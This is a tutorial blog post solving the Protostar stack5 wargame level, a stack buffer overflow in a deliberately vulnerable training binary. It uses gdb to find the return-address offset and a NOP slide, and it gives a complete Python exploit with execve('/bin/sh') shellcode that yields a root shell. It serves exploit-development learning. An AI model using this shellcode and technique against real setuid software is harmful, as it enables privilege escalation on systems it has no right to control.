RNRF 2021. 11. 3. 00:50

14. First Exploit! Buffer Overflow with Shellcode - bin.0x0E

: Content
-> Buffer Overflow with shellcode
-> shellstorm
-> debugging shellcode

: Stack5 is a standard buffer overflow, this time introducing shellcode.

: How do I get to the root shell from a program that has no special features?

: stack5(C code)(/opt/protostar/bin/stack5)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

: First, find the offset to control the command pointer.
-> exploit.py(python code)
padding = “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ”
print padding
-> python exploit.py > alphbet
-> gdb stack5
-> set disassembly-flavor intel
-> disassemble main
-> 0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x50
0x080483cd <main+9>:    lea    eax,[esp+0x10]
0x080483d1 <main+13>:   mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
-> break *0x080483da
-> define hook-stop
> x/1i $eip
> x/8wx $esp
> end
-> r
> ASD
Starting program: /opt/protostar/bin/stack5
ASD
0x80483da <main+22>:    ret
0xbffff7bc:     0xb7eadc76      0x00000001      0xbffff864      0xbffff86c
0xbffff7cc:     0xb7fe1848      0xbffff820      0xffffffff      0xb7ffeff4
-> si
-> 0xb7eadc76 <__libc_start_main+230>:     mov    DWORD PTR [esp],eax
0xbffff7c0:     0x00000001      0xbffff864      0xbffff86c      0xb7fe1848
0xbffff7d0:     0xbffff820      0xffffffff      0xb7ffeff4      0x08048232

: Restart “alphbet”
-> r < /tmp/alphbet
-> Starting program: /opt/protostar/bin/stack5 < /tmp/alphbet
0x80483da <main+22>:    ret
0xbffff7bc:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffff7cc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
-> si
-> Cannot access memory at address 0x53535357
-> si
-> Program received signal SIGSEGV, Segmentation fault.
0x54545454:     Error while running hook_stop:
Cannot access memory at address 0x54545454
0x54545454 in ?? () # chr(0x54545454) = TTTT
: Checking the string indicates that the return pointer was overwritten.
-> x/s $esp
-> 0xbffff7c0:      "UUUUVVVVWWWWXXXXYYYYZZZZ"

: However, there is no "win()" function, as in "stack4".
-> So, where can you go?
-> You can move directly to the stack that controls the data.
-> Now let's find a good address.
: We can jump right after the command pointer we control.
-> r
-> Starting program: /opt/protostar/bin/stack5 < /tmp/alphbet
0x80483da <main+22>:    ret
0xbffff7bc:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffff7cc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
-> si
-> Cannot access memory at address 0x53535357
-> info registers
eax            0xbffff770       -1073744016
ecx            0xbffff770       -1073744016
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7c0       0xbffff7c0 # This is the address we want to jump at.
ebp            0x53535353       0x53535353
esi            0x0      0
edi            0x0      0
eip            0x54545454       0x54545454
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
: Now you must add the code to run after the return pointer.

: INT3
-> Simply put, stop point for debugger, assembly command.
: exploit.py(test…)
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0)
payload = "\xCC"*4      # int3 = \xCC = BP = interrupt 3 - trap to debugger.
print padding+eip+payload
-> python exploit.py > exp
: gdb
-> r < /tmp/exp
-> Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>:    ret
0xbffff7bc:     0xbffff7c0      0xcccccccc      0xbffff800      0xbffff86c
0xbffff7cc:     0xb7fe1848      0xbffff820      0xffffffff      0xb7ffeff4

Breakpoint 2, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      in stack5/stack5.c
-> c
-> Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7c1:     int3
0xbffff7c0:     0xcccccccc      0xbffff800      0xbffff86c      0xb7fe1848
0xbffff7d0:     0xbffff820      0xffffffff      0xb7ffeff4      0x08048232
0xbffff7c1 in ?? ()

: Does it work without "gdb"?
-> python exploit.py | /opt/protostar/bin/stack5
-> Illegal instruction
: “gdb”, again…
-> r < /tmp/exp
-> Starting program: /opt/protostar/bin/stack5 < /tmp/exp

Program received signal SIGILL, Illegal instruction.
0xbffff7d6 in ?? ()
-> Why does "Illegal construction" appear?
-> Let's repeat the above process again.
-> define hook-stop
> x/1i $eip
> x/8wx $esp
> end
-> break *0x080483da
-> r
-> Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>:    ret
0xbffff7cc:     0xbffff7c0      0xcccccccc      0xbffff800      0xbffff87c
0xbffff7dc:     0xb7fe1848      0xbffff830      0xffffffff      0xb7ffeff4

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      in stack5/stack5.c
: It is different from the addresses of other windows. Why???
-> Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>:    ret
0xbffff7bc:     0xbffff7c0      0xcccccccc      0xbffff800      0xbffff86c
0xbffff7cc:     0xb7fe1848      0xbffff820      0xffffffff      0xb7ffeff4

Breakpoint 2, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      in stack5/stack5.c
-> Let's print out all the lines.
-> x/1000s $esp
-> 0xbffff9a1:      "USER=user" # After
-> 0xbffff993:      "USER=user" # Beafore
-> It looks similar to the environment variable.
-> Still different…
-> 0xbfffffe2:      "/opt/protostar/bin/stack5" # After
-> 0xbfffffe2:      "/opt/protostar/bin/stack5" # Before
-> Oh? Same!
-> 0xbfffff9c:      "PWD=/tmp" # After
-> 0xbfffff8e:      "PWD=/opt/protostar/bin" # Before
-> The working directory is different. It is also different in length.
: The reason is that an execution environment with a long directory name requires more space in the stack to store it.
-> So push the stack up further.
-> So how can we cope?
-> One way is to remove all environmental variables before executing the binary.
-> shell $ env -i /my_program
-> (gdb) unset env
-> Another method is "NOP slide."
-> Let's modify "exploit.py"
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
payload = "\x90"*100+"\xCC"*4   # int3 = \xCC = BP = interrupt 3 - trap to debugger.
print padding+eip+payload
-> r
-> Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>:    ret
0xbffff7bc:     0xbffff7de      0x90909090      0x90909090      0x90909090
0xbffff7cc:     0x90909090      0x90909090      0x90909090      0x90909090
-> x/32wx $esp
0xbffff7bc:     0xbffff7de      0x90909090      0x90909090      0x90909090
0xbffff7cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7ec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7fc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff80c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff81c:     0x90909090      0x90909090      0xcccccccc      0xb7eadb00
0xbffff82c:     0xb7ffeff4      0x00000001      0x08048310      0x00000000
-> si & Enter Key
-> (gdb)
0xbffff7ee:     nop
0xbffff7c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7ee in ?? ()
-> c
-> Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff825:     int3
0xbffff7c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff825 in ?? ()
-> Clear!

: Works outside of "gdb".
-> python exploit.py | /opt/protostar/bin/stack5
Trace/breakpoint trap

: Now let's do something useful instead of "CC."
-> Shellcode…

Tips. shell-storm.org/shellcode/
-> Linux x86 execve("/bin/sh") - 28 bytes
-> Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0                 xor    %eax,%eax
8048062: 50                    push   %eax
8048063: 68 2f 2f 73 68        push   $0x68732f2f
8048068: 68 2f 62 69 6e        push   $0x6e69622f # “/bin/bash”
804806d: 89 e3                 mov    %esp,%ebx
804806f: 89 c1                 mov    %eax,%ecx
8048071: 89 c2                 mov    %eax,%edx
8048073: b0 0b                 mov    $0xb,%al
8048075: cd 80                 int    $0x80
8048077: 31 c0                 xor    %eax,%eax
8048079: 40                    inc    %eax
  804807a: cd 80                 int    $0x80

-> shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73"
           "\x68\x68\x2f\x62\x69\x6e\x89"
           "\xe3\x89\xc1\x89\xc2\xb0\x0b"
           "\xcd\x80\x31\xc0\x40\xcd\x80";
-> exploit.py
-> import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload
-> gdb
-> r
-> si
0xbffff81b:     nop
0xbffff7c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff81b in ?? ()
-> c
Continuing.
Executing new program: /bin/dash # "/ bin sh" is referring to a "/ bin dash".
# ls -al /bin/sh -> lrwxrwxrwx 1 root root 4 Nov 22  2011 /bin/sh -> dash
Program exited normally.
Error while running hook_stop:
No registers.
: Why? No clear…
-> Because it is "execve", replace the current program with another one. Thus, "stack5" is replaced by "/bin/dash".
-> r
Starting program: /bin/dash < /tmp/exp
/bin/dash: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒▒°
                                                ̀1▒@̀: not found
-> Therefore, you must reload the file "stack5".
-> file stack5
-> Load new symbol table from "/opt/protostar/bin/stack5"? (y or n) y
Reading symbols from /opt/protostar/bin/stack5...done.
: With "cat", at the stack level, the exploit first runs and executes the shell, and then "cat" replaces it.
-> Inputs can be simply transferred to the shell via "cat".
-> (python exploit.py ; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
-> Clear!